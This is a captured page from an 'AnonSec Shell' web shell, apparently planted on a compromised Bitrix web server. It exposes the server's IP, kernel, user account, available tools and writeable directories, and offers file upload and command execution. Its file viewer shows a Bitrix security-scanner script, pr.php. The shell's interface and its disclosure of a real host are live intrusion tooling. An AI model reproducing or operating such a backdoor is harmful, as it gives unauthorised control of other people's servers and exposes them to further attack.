AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.145.179.2
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/tools/sng.secure/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/tools/sng.secure/pr.php
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php"); 
DeleteDirFilesEx("/bitrix/managed_cache/MYSQL/");	
IncludeModuleLangFile(__FILE__);
\Bitrix\Main\Loader::includeModule('sng.secure');
 
$_SESSION['SNG_SECURE'] = array();

//pr($_SERVER[HTTP_HOST]);

$path = COption::GetOptionString('sng.secure', 'path', "");
if(!strlen($path)>0)
{
	$path = $_SERVER[DOCUMENT_ROOT];
} 
 
CSNGSecure::searchPhp($path, '', 0, "no_ajax");

krsort($_SESSION['SNG_SECURE']);

$arSort = array();
foreach($_SESSION['SNG_SECURE'] as $key => $value)
{
	$arSort[ConvertTimeStamp($key, 'FULL')] = $value; 
}

if(!empty($arSort)){
	?><br>
	<table style="width:100%;" id="table_secure">
		<tr>
		<td style="width:150px;"><b><?echo GetMessage("SNG_SECURE_TABLE_DATE")?></b></td>
		<td><b><span style="width:180px;display:inline-block"><?echo GetMessage("SNG_SECURE_TABLE_TYPE")?></span> <?echo GetMessage("SNG_SECURE_TABLE_FILE")?></b></td>
		</tr>
	<?
	foreach($arSort as $key => $value)
	{
		?>
		<tr>
		<td style="width:150px;"><?=$key?></td>
				<td>
				<table style="border:none;">
				<?		
				foreach($value as $k => $v)
				{
					?>
					<tr>
					<td style="border:none !important;width:180px;"><?=$v;?></td>
					<td style="border:none !important;"><?=$k;?></td>
					</tr>
					<?	
				}
				?>
				</table>
				</td>
		</tr>
		<?
	}
	?></table>
	<style>
	#table_secure td{border-collapse:collapse;border: 1px solid #C4CED2 !important; margin-top:1px;margin-right:1px;}
	</style>
	<?
	COption::SetOptionString('sng.secure', 'path', htmlspecialchars($_POST['secure_path']));
	COption::SetOptionString("sng.secure", "last_search", serialize($arSort));
	?>

	<?
	mail(COption::GetOptionString("main", "email_from"), "sng.secure", GetMessage("SNG_SECURE_SEND").'http://'.$_SERVER[HTTP_HOST].'/bitrix/admin/settings.php?lang=ru&mid=sng.secure&mid_menu=1');
}
else
{

} 

?>

Anon7 - 2022
AnonSec Team